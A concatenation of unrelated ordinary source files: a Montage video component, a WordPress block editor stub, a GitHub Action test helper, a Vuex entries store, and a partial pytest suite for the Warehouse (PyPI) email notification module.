/*global require, exports*/ /** * @module montage/ui/base/abstract-video.reel */ var Component = require("../component").Component, MediaController = require("../../core/media-controller").MediaController; /** * @class AbstractVideo * @extends Component */ var AbstractVideo = exports.AbstractVideo = Component.specialize(/** @lends AbstractVideo# */ { /** * @private */ constructor: { value: function AbstractVideo() { if (this.constructor === AbstractVideo) { throw new Error("AbstractVideo cannot be instantiated."); } } }, _mediaElement: { value: null }, mediaElement: { get: function () { return this._mediaElement; }, set: function (element) { this._mediaElement = element; if (this.videoController) { this.videoController.mediaElement = this.mediaElement; } } }, _videoController: { value: null }, /** * The MediaController instance used by the video component. * @type {module:montage/core/media-controller.MediaController} * @default null */ videoController: { get: function () { return this._videoController; }, set: function (controller) { if (controller) { this._videoController = controller; if (this.mediaElement) { this.videoController.mediaElement = this.mediaElement; } } } }, _src: { value: null }, /** * @type {string} * @default null */ src: { get: function () { return this._src; }, set: function (src) { this._src = src; } }, /** * @private */ _sources: { value: [] }, /** * @type {Array} * @default null */ sources: { get: function () { return this._sources; }, set: function (sources) { if (sources && sources.length) { var mediaElement = this.element.ownerDocument.createElement("video"); for (var i = 0; i < sources.length; i++) { var mediaSrc = sources[i].src, mediaType = sources[i].type; if (mediaType && mediaElement.canPlayType(mediaType)) { this.src = mediaSrc; break; } } this._sources = sources; } } }, /** * @function */ loadMedia: { value: function () { this.mediaElement.src = this.src; this.mediaElement.load(); } }, _repeat: { value: false }, /** * @type {Function} * @default {boolean} false */ repeat: { get: function () { return this._repeat; }, set: function (repeat) { if (repeat !== this._repeat) { this._repeat = repeat; if (repeat) { this.mediaElement.setAttribute("loop", "true"); } else { this.mediaElement.removeAttribute("loop"); } this.needsDraw = true; } } }, /** * @function */ toggleRepeat: { value: function () { this.repeat = !this.repeat; } }, _posterSrc: { value: null }, /** * @type {string} * @default null */ posterSrc: { get: function () { return this._posterSrc; }, set: function (posterSrc) { this._posterSrc = posterSrc; } }, /** * @function */ showPoster: { value: function () { if (this.posterSrc && this.mediaElement) { this.mediaElement.poster = this.posterSrc; } } }, /** * Specifies whether the full screen video is supported. * @type {boolean} * @default true */ supportsFullScreen: { value: true }, _isFullScreen: { value: false }, /** * @type {boolean} */ isFullScreen: { get: function () { return this._isFullScreen; } }, /** * Toggles full-screen playback mode. * @function */ toggleFullScreen: { value: function () { if (this.supportsFullScreen) { this._isFullScreen = !this._isFullScreen; if (!this._isFullScreen) { if (this.element.webkitExitFullscreen) { this.element.webkitExitFullscreen(); } else if (this.element.webkitCancelFullScreen) { this.element.webkitCancelFullScreen(); } else if (this.element.ownerDocument.webkitCancelFullScreen && this.element.ownerDocument.webkitCurrentFullScreenElement === this.element) { this.element.ownerDocument.webkitCancelFullScreen(); } } else { if (this.element.webkitEnterFullScreen) { this.element.webkitEnterFullScreen(); } else if (this.element.webkitRequestFullScreen) { this.element.webkitRequestFullScreen(); } } this.needsDraw = true; } } }, handleControllerStatusChange: { value: function () { this.needsDraw = true; } }, handleControllerVolumeChange: { value: function () { this.needsDraw = true; } }, enterDocument: { value: function (firstTime) { if (firstTime) { // look for src attribute on original element if (this.originalElement.hasAttribute("src") && this.originalElement.getAttribute("src")) { this.src = this.originalElement.getAttribute("src"); } else { // try to grab <source> child elements from original element var sources = this.originalElement.getElementsByTagName("source"), mediaSrc, mediaType; for (var sourceIdx = 0; sourceIdx < sources.length; sourceIdx++) { mediaSrc = sources[sourceIdx].getAttribute("src"); mediaType = sources[sourceIdx].getAttribute("type"); if (mediaType && !this.mediaElement.canPlayType(mediaType)) { continue; } this.src = mediaSrc; break; } } // try to grab <track> child elements from original element var tracks = this.originalElement.getElementsByTagName("track"); for (var trackIdx = 0; trackIdx < tracks.length; trackIdx++) { var trackKind = tracks[trackIdx].getAttribute("kind"); if (trackKind === "captions" || trackKind === "subtitles") { var track = document.createElement("track"); track.kind = trackKind; track.label = tracks[trackIdx].getAttribute("label"); track.src = tracks[trackIdx].getAttribute("src"); track.srclang = tracks[trackIdx].getAttribute("srclang"); track.default = tracks[trackIdx].hasAttribute("default"); this.mediaElement.appendChild(track); this.mediaElement.textTracks[this.mediaElement.textTracks.length - 1].mode = "showing"; } } this.addPathChangeListener("videoController.status", this, "handleControllerStatusChange"); this.addPathChangeListener("videoController.volume", this, "handleControllerVolumeChange"); if (!this.videoController) { this.videoController = new MediaController(); } this.videoController.mediaElement = this.mediaElement; } } } });
/** * Retrieves the translation of text. * * @see https://developer.wordpress.org/block-editor/packages/packages-i18n/ */ import { __ } from '@wordpress/i18n'; /** * React hook that is used to mark the block wrapper element. * It provides all the necessary props like the class name. * * @see https://developer.wordpress.org/block-editor/packages/packages-block-editor/#useBlockProps */ import { useBlockProps } from '@wordpress/block-editor'; /** * Lets webpack process CSS, SASS or SCSS files referenced in JavaScript files. * Those files can contain any CSS code that gets applied to the editor. * * @see https://www.npmjs.com/package/@wordpress/scripts#using-css */ import './editor.scss'; /** * The edit function describes the structure of your block in the context of the * editor. This represents what the editor will render when the block is used. * * @see https://developer.wordpress.org/block-editor/developers/block-api/block-edit-save/#edit * * @return {WPElement} Element to render. */ export default function Edit() { return ( <p {...useBlockProps()}> {__('Hello World!', 'block')} </p> ); }
const runAction = require('../helpers/run-action.js') const steps = ['pre', 'main'] module.exports = ref => async () => { process.chdir('test') const baseRef = process.env.GITHUB_BASE_REF const curRef = process.env.GITHUB_REF process.env.GITHUB_BASE_REF = ref delete process.env.GITHUB_REF return await runAction(steps) .then(() => new Promise(resolve => setTimeout(resolve, 1500))) .then(() => { process.env.GITHUB_BASE_REF = baseRef process.env.GITHUB_REF = curRef }) .then(() => { process.chdir('..') return true }) }
import router from "../../router"; const state = { error: null, entries: [], entry: null, current_page: 1, length: 1 }; const mutations = { clearEntries: state => { state.entries = []; }, clearEntry: state => { state.entry = null; }, clearCurrentPage: state => { state.current_page = 1; }, clearLength: state => { state.length = 1; }, clearError: state => { state.error = null; }, setError: (state, payload) => { let error = typeof payload === "object" ? Object.values(payload).map(item => item[0]) : [payload]; state.error = error; }, setEntries: (state, payload) => { state.entries = payload; }, setEntry: (state, payload) => { state.entry = payload; }, setCurrentPage: (state, payload) => { state.current_page = payload; }, setLength: (state, payload) => { state.length = payload; } }; const actions = { getEntries: ({ commit }, page_nb) => { const url = base_url + "api/entry?page=" + page_nb; return new Promise((resolve, reject) => { axios .get(url) .then(res => { const entries = res.data.entries; const cur_page = res.data.current_page; const length = res.data.length; commit("setEntries", entries); commit("setCurrentPage", cur_page); commit("setLength", length); resolve(res); }) .catch(err => { commit("clearEntries"); commit("clearCurrentPage"); commit("clearLength"); reject(err); }); }); }, getEntry: ({ commit }, id) => { const url = base_url + "api/entry/" + id; return new Promise((resolve, reject) => { axios .get(url) .then(res => { const entry = res.data.entry; commit("setEntry", entry); resolve(res); }) .catch(err => { commit("clearEntry"); reject(err); }); }); }, create: ({ commit, state }, payload) => { const url = base_url + "api/entry"; let config = { headers: { Accept: "application/json", Authorization: "Bearer " + payload.token } }; return new Promise((resolve, reject) => { axios .post(url, payload, config) .then(res => { router.push("/"); resolve(res); }) .catch(err => { const error = err.response.data.error; commit("setError", error); reject(err); }); }); }, delete: ({ commit, state }, payload) => { const url = base_url + "api/entry/" + payload.id; let config = { headers: { Accept: "application/json", Authorization: "Bearer " + payload.token } }; return new Promise((resolve, reject) => { axios .delete(url, config) .then(res => { resolve(res); }) .catch(err => { const error = err.response.data.error; commit("setError", error); reject(err); }); }); }, update: ({ commit, state }, payload) => { const url = base_url + "api/entry/" + payload.id; let config = { headers: { Accept: "application/json", Authorization: "Bearer " + payload.token } }; return new Promise((resolve, reject) => { axios .put(url, payload, config) .then(res => { resolve(res); }) .catch(err => { const error = err.response.data.error; commit("setError", error); reject(err); }); }); } }; const getters = { error: state => state.error, entries: state => state.entries, entry: state => state.entry, current_page: state => state.current_page, length: state => state.length }; export default { namespaced: true, state, getters, actions, mutations };
# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import datetime import celery.exceptions import pretend import pytest from sqlalchemy.orm.exc import NoResultFound from warehouse import email from warehouse.accounts.interfaces import IUserService from warehouse.email.interfaces import IEmailSender from warehouse.email.services import EmailMessage from ...common.db.accounts import EmailFactory, UserFactory @pytest.mark.parametrize( ("user", "address", "expected"), [ ( pretend.stub(name="", username="", email="[email protected]"), None, "[email protected]", ), ( pretend.stub(name="", username="", email="[email protected]"), "[email protected]", "[email protected]", ), ( pretend.stub(name="", username="foo", email="[email protected]"), None, "foo <[email protected]>", ), ( pretend.stub(name="bar", username="foo", email="[email protected]"), None, "bar <[email protected]>", ), ( pretend.stub(name="bar", username="foo", email="[email protected]"), "[email protected]", "bar <[email protected]>", ), ], ) def test_compute_recipient(user, address, expected): email_ = address if address is not None else user.email assert email._compute_recipient(user, email_) == expected @pytest.mark.parametrize( ("unauthenticated_userid", "user", "expected"), [ ("the_users_id", None, False), ("some_other_id", None, True), (None, pretend.stub(id="the_users_id"), False), (None, pretend.stub(id="some_other_id"), True), (None, None, False), ], ) def test_redact_ip(unauthenticated_userid, user, expected): user_email = pretend.stub(user_id="the_users_id") request = pretend.stub( unauthenticated_userid=unauthenticated_userid, user=user, db=pretend.stub( query=lambda a: pretend.stub( filter=lambda a: pretend.stub(one=lambda: user_email) ) ), ) assert email._redact_ip(request, user_email) == expected def test_redact_ip_email_not_found(): request = pretend.stub( db=pretend.stub( query=lambda a: pretend.stub( filter=lambda a: pretend.stub(one=pretend.raiser(NoResultFound)) ) ) ) assert email._redact_ip(request, "doesn't matter") is False class TestSendEmailToUser: @pytest.mark.parametrize( ("name", "username", "primary_email", "address", "expected"), [ ("", "theuser", "[email protected]", None, "theuser <[email protected]>"), ( "Sally User", "theuser", "[email protected]", None, "Sally User <[email protected]>", ), ( "", "theuser", "[email protected]", "[email protected]", "theuser <[email protected]>", ), ], ) def test_sends_to_user_with_verified( self, name, username, primary_email, address, expected, pyramid_request ): user = pretend.stub( name=name, username=username, primary_email=pretend.stub(email=primary_email, verified=True), id="id", ) task = pretend.stub(delay=pretend.call_recorder(lambda *a, **kw: None)) pyramid_request.task = pretend.call_recorder(lambda x: task) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=user.id) ) ), ) pyramid_request.user = user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} if address is not None: address = pretend.stub(email=address, verified=True) msg = EmailMessage(subject="My Subject", body_text="My Body") email._send_email_to_user(pyramid_request, user, msg, email=address) assert pyramid_request.task.calls == [pretend.call(email.send_email)] assert task.delay.calls == [ pretend.call( expected, {"subject": "My Subject", "body_text": "My Body", "body_html": None}, { "tag": "account:email:sent", "user_id": user.id, "additional": { "from_": "[email protected]", "to": address.email if address else primary_email, "subject": "My Subject", "redact_ip": False, }, }, ) ] @pytest.mark.parametrize( ("primary_email", "address"), [ ("[email protected]", None), ("[email protected]", "[email protected]"), ], ) def test_doesnt_send_with_unverified(self, primary_email, address): task = pretend.stub(delay=pretend.call_recorder(lambda *a, **kw: None)) request = pretend.stub(task=pretend.call_recorder(lambda x: task)) user = pretend.stub( primary_email=pretend.stub( email=primary_email, verified=True if address is not None else False ), ) if address is not None: address = pretend.stub(email=address, verified=False) msg = EmailMessage(subject="My Subject", body_text="My Body") email._send_email_to_user(request, user, msg, email=address) assert request.task.calls == [] assert task.delay.calls == [] def test_doesnt_send_within_reset_window(self, pyramid_request, pyramid_services): email_service = pretend.stub( last_sent=pretend.call_recorder( lambda to, subject: datetime.datetime.now() - datetime.timedelta(seconds=69) ) ) pyramid_services.register_service(email_service, IEmailSender, None, name="") task = pretend.stub(delay=pretend.call_recorder(lambda *a, **kw: None)) pyramid_request.task = pretend.call_recorder(lambda x: task) address = "[email protected]" user = pretend.stub(primary_email=pretend.stub(email=address, verified=True)) msg = EmailMessage(subject="My Subject", body_text="My Body") email._send_email_to_user( pyramid_request, user, msg, repeat_window=datetime.timedelta(seconds=420) ) assert pyramid_request.task.calls == [] assert task.delay.calls == [] @pytest.mark.parametrize( ("username", "primary_email", "address", "expected"), [ ("theuser", "[email protected]", None, "theuser <[email protected]>"), ( "theuser", "[email protected]", "[email protected]", "theuser <[email protected]>", ), ], ) def test_sends_unverified_with_override( self, username, primary_email, address, expected, pyramid_request ): user = pretend.stub( username=username, name="", primary_email=pretend.stub( email=primary_email, verified=True if address is not None else False ), id="id", ) task = pretend.stub(delay=pretend.call_recorder(lambda *a, **kw: None)) pyramid_request.task = pretend.call_recorder(lambda x: task) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=user.id) ) ), ) pyramid_request.user = user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} if address is not None: address = pretend.stub(email=address, verified=False) msg = EmailMessage(subject="My Subject", body_text="My Body") email._send_email_to_user( pyramid_request, user, msg, email=address, allow_unverified=True ) assert pyramid_request.task.calls == [pretend.call(email.send_email)] assert task.delay.calls == [ pretend.call( expected, {"subject": "My Subject", "body_text": "My Body", "body_html": None}, { "tag": "account:email:sent", "user_id": user.id, "additional": { "from_": "[email protected]", "to": address.email if address else primary_email, "subject": "My Subject", "redact_ip": False, }, }, ) ] class TestSendEmail: def test_send_email_success(self, db_session, monkeypatch): class FakeMailSender: def __init__(self): self.emails = [] def send(self, recipient, msg): self.emails.append( { "subject": msg.subject, "body": msg.body_text, "html": msg.body_html, "recipient": recipient, } ) class FakeUserEventService: def __init__(self): self.events = [] def record_event(self, user_id, tag, additional): self.events.append( { "user_id": user_id, "tag": tag, "additional": additional, } ) user_service = FakeUserEventService() sender = FakeMailSender() task = pretend.stub() request = pretend.stub( find_service=pretend.call_recorder( lambda svc, context=None: { IUserService: user_service, IEmailSender: sender, }.get(svc) ), ) user_id = pretend.stub() msg = EmailMessage(subject="subject", body_text="body") email.send_email( task, request, "recipient", { "subject": msg.subject, "body_text": msg.body_text, "body_html": msg.body_html, }, { "tag": "account:email:sent", "user_id": user_id, "additional": { "from_": "[email protected]", "to": "recipient", "subject": msg.subject, "redact_ip": False, }, }, ) assert request.find_service.calls == [ pretend.call(IEmailSender), pretend.call(IUserService, context=None), ] assert sender.emails == [ { "subject": "subject", "body": "body", "html": None, "recipient": "recipient", } ] assert user_service.events == [ { "user_id": user_id, "tag": "account:email:sent", "additional": { "from_": "[email protected]", "to": "recipient", "subject": msg.subject, "redact_ip": False, }, } ] def test_send_email_failure(self, monkeypatch): exc = Exception() class FakeMailSender: def send(self, recipient, msg): raise exc class Task: @staticmethod @pretend.call_recorder def retry(exc): raise celery.exceptions.Retry sender, task = FakeMailSender(), Task() request = pretend.stub(find_service=lambda *a, **kw: sender) user_id = pretend.stub() msg = EmailMessage(subject="subject", body_text="body") with pytest.raises(celery.exceptions.Retry): email.send_email( task, request, "recipient", { "subject": msg.subject, "body_text": msg.body_text, "body_html": msg.body_html, }, { "tag": "account:email:sent", "user_id": user_id, "additional": { "from_": "[email protected]", "to": "recipient", "subject": msg.subject, "redact_ip": False, }, }, ) assert task.retry.calls == [pretend.call(exc=exc)] class TestSendPasswordResetEmail: @pytest.mark.parametrize( ("verified", "email_addr"), [ (True, None), (False, None), (True, "[email protected]"), (False, "[email protected]"), ], ) def test_send_password_reset_email( self, verified, email_addr, pyramid_request, pyramid_config, token_service, monkeypatch, ): stub_user = pretend.stub( id="id", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=verified), username="username_value", name="name_value", last_login="last_login", password_date="password_date", ) if email_addr is None: stub_email = None else: stub_email = pretend.stub(email=email_addr, verified=verified) pyramid_request.method = "POST" token_service.dumps = pretend.call_recorder(lambda a: "TOKEN") subject_renderer = pyramid_config.testing_add_renderer( "email/password-reset/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/password-reset/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/password-reset/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_password_reset_email( pyramid_request, (stub_user, stub_email) ) assert result == { "token": "TOKEN", "username": stub_user.username, "n_hours": token_service.max_age // 60 // 60, } subject_renderer.assert_() body_renderer.assert_(token="TOKEN", username=stub_user.username) html_renderer.assert_(token="TOKEN", username=stub_user.username) assert token_service.dumps.calls == [ pretend.call( { "action": "password-reset", "user.id": str(stub_user.id), "user.last_login": str(stub_user.last_login), "user.password_date": str(stub_user.password_date), } ) ] assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( "name_value <" + (stub_user.email if email_addr is None else email_addr) + ">", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]" if stub_email else "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ) ] class TestEmailVerificationEmail: def test_email_verification_email( self, pyramid_request, pyramid_config, token_service, monkeypatch ): stub_user = pretend.stub( id="id", username=None, name=None, email="[email protected]" ) stub_email = pretend.stub(id="id", email="[email protected]", verified=False) pyramid_request.method = "POST" token_service.dumps = pretend.call_recorder(lambda a: "TOKEN") subject_renderer = pyramid_config.testing_add_renderer( "email/verify-email/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/verify-email/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/verify-email/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_email_verification_email( pyramid_request, (stub_user, stub_email) ) assert result == { "token": "TOKEN", "email_address": stub_email.email, "n_hours": token_service.max_age // 60 // 60, } subject_renderer.assert_() body_renderer.assert_(token="TOKEN", email_address=stub_email.email) html_renderer.assert_(token="TOKEN", email_address=stub_email.email) assert token_service.dumps.calls == [ pretend.call({"action": "email-verify", "email.id": str(stub_email.id)}) ] assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( stub_email.email, { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": stub_email.email, "subject": "Email Subject", "redact_ip": False, }, }, ) ] class TestPasswordChangeEmail: def test_password_change_email(self, pyramid_request, pyramid_config, monkeypatch): stub_user = pretend.stub( id="id", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) subject_renderer = pyramid_config.testing_add_renderer( "email/password-change/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/password-change/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/password-change/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_password_change_email(pyramid_request, stub_user) assert result == {"username": stub_user.username} subject_renderer.assert_() body_renderer.assert_(username=stub_user.username) html_renderer.assert_(username=stub_user.username) assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( f"{stub_user.username} <{stub_user.email}>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": stub_user.email, "subject": "Email Subject", "redact_ip": False, }, }, ) ] def test_password_change_email_unverified( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=False), ) subject_renderer = pyramid_config.testing_add_renderer( "email/password-change/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/password-change/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/password-change/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_password_change_email(pyramid_request, stub_user) assert result == {"username": stub_user.username} subject_renderer.assert_() body_renderer.assert_(username=stub_user.username) html_renderer.assert_(username=stub_user.username) assert pyramid_request.task.calls == [] assert send_email.delay.calls == [] class TestPasswordCompromisedHIBPEmail: @pytest.mark.parametrize("verified", [True, False]) def test_password_compromised_email_hibp( self, pyramid_request, pyramid_config, monkeypatch, verified ): stub_user = pretend.stub( id="id", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=verified), ) subject_renderer = pyramid_config.testing_add_renderer( "email/password-compromised-hibp/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/password-compromised-hibp/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/password-compromised-hibp/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_password_compromised_email_hibp(pyramid_request, stub_user) assert result == {} assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( f"{stub_user.username} <{stub_user.email}>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": stub_user.email, "subject": "Email Subject", "redact_ip": False, }, }, ) ] class TestTokenLeakEmail: @pytest.mark.parametrize("verified", [True, False]) def test_token_leak_email( self, pyramid_request, pyramid_config, monkeypatch, verified ): stub_user = pretend.stub( id=3, username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=verified), ) pyramid_request.user = None pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub(one=lambda: stub_user) ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/token-compromised-leak/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/token-compromised-leak/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/token-compromised-leak/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) result = email.send_token_compromised_email_leak( pyramid_request, stub_user, public_url="http://example.com", origin="github" ) assert result == { "username": "username", "public_url": "http://example.com", "origin": "github", } assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( f"{stub_user.username} <{stub_user.email}>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": 3, "additional": { "from_": None, "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ) ] class TestPasswordCompromisedEmail: @pytest.mark.parametrize("verified", [True, False]) def test_password_compromised_email( self, pyramid_request, pyramid_config, monkeypatch, verified ): stub_user = pretend.stub( id="id", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=verified), ) subject_renderer = pyramid_config.testing_add_renderer( "email/password-compromised/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/password-compromised/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/password-compromised/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_password_compromised_email(pyramid_request, stub_user) assert result == {} assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( f"{stub_user.username} <{stub_user.email}>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": stub_user.email, "subject": "Email Subject", "redact_ip": False, }, }, ) ] class TestBasicAuthWith2FAEmail: @pytest.mark.parametrize("verified", [True, False]) def test_basic_auth_with_2fa_email( self, pyramid_request, pyramid_config, monkeypatch, verified ): stub_user = pretend.stub( id="id", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=verified), ) subject_renderer = pyramid_config.testing_add_renderer( "email/basic-auth-with-2fa/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/basic-auth-with-2fa/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/basic-auth-with-2fa/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_basic_auth_with_two_factor_email(pyramid_request, stub_user) assert result == {} assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( f"{stub_user.username} <{stub_user.email}>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": stub_user.email, "subject": "Email Subject", "redact_ip": False, }, }, ) ] class TestAccountDeletionEmail: def test_account_deletion_email(self, pyramid_request, pyramid_config, monkeypatch): stub_user = pretend.stub( id="id", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) subject_renderer = pyramid_config.testing_add_renderer( "email/account-deleted/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/account-deleted/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/account-deleted/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_account_deletion_email(pyramid_request, stub_user) assert result == {"username": stub_user.username} subject_renderer.assert_() body_renderer.assert_(username=stub_user.username) html_renderer.assert_(username=stub_user.username) assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( f"{stub_user.username} <{stub_user.email}>", { "subject": "Email Subject", 